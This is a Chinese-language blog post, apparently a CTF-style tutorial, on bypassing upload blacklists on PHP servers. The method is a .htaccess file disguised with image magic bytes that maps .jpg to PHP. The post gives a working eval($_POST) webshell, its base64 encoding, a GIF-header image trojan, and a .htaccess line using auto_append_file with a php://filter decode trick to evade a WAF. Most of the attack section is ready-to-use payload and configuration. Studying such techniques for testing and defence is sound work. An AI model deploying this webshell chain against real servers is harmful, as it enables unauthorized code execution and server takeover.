文件上傳--利用.htaccess繞過黑名單

前言

在很多時候有限制文件上傳的類型,而黑名單ban了很多相關的後綴,如果沒有警用.htaccee那麼就能觸發getshell

.htaccess可以把.jpg解析成php

語法

AddType application/x-httpd-php .jpg

PHP5

圖像相關的信息檢測常用getimagesize( )函數,那麼對於.htaccess文件來說,註釋有#%00這2個符號,圖片頭沒有#,但是有%00的文件

比如

jp2 格式如下

00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必須)

在圖中widthC6

hight6F,修改對應位置的值即可返回對應的長度

ico格式如下

00 00 01 00(必須) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20

所以如果不限制大小可以在.htaccess文件面前加上

aaaaaa

然後用winhex改成

00 00 01 00 0a 0d

bwmp格式如下

00 00 01 01 

表示width1, hight爲1

00 00 8A 39 8A 39

表示width1337, hight1337

如果大小值>80,那麼就會取2位,否則只會取1位

有了上面的幾種情況就可以上傳.htaccess文件,並符合其語法

接下來上傳個圖片馬即可

然後直接訪問圖片就被解析成php代碼了

PHP7以後

有時候有這種情況把<?給waf了,在php7之前可以按上面的<script language>來達到繞過<?php這種情況,但是在php7之後這些標籤都是被移除了,因此可以靠base64解碼來達到目的

<?php eval($_POST[1]); ?>
base64編碼後
PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==

加上文件頭,這裏用wbmp
00 00 01 01

因爲base64是4個一組,而上面的wbmp頭文件剛好4個字節,所以不用補充,如果是png則需要補充很多...

這裏4個字節的圖片頭建議用gif,剛好4個字節

47 49 46 38 

所以形成1.gifbase64

GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==

接下來.htaccess的格式是

00 00 01 01(進hex進制裏面修改下)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"

這裏有個2個坑

坑1:因爲是黑名單,如果上傳的文件是能被服務器解析的比如jpg能被解析成圖片而.abc這樣的後綴不會被解析,這裏有個區別

.jpg這種能被解析的文件,在被文件包含時文件頭要和擴展名一致才能解析

.abc這種不會被解析的文件,在被文件包含時文件頭任意即可

坑2:在Server APICGI/FastCGI 時以上的.htaccess腳本是報500錯的,我在windows下的phpstudy就是這種解析方式。

但是在linux下一般情況是Server APIApache 2.0 Handler ,因此以上的.htaccess是能夠被解析的

參考鏈接:

https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg

https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章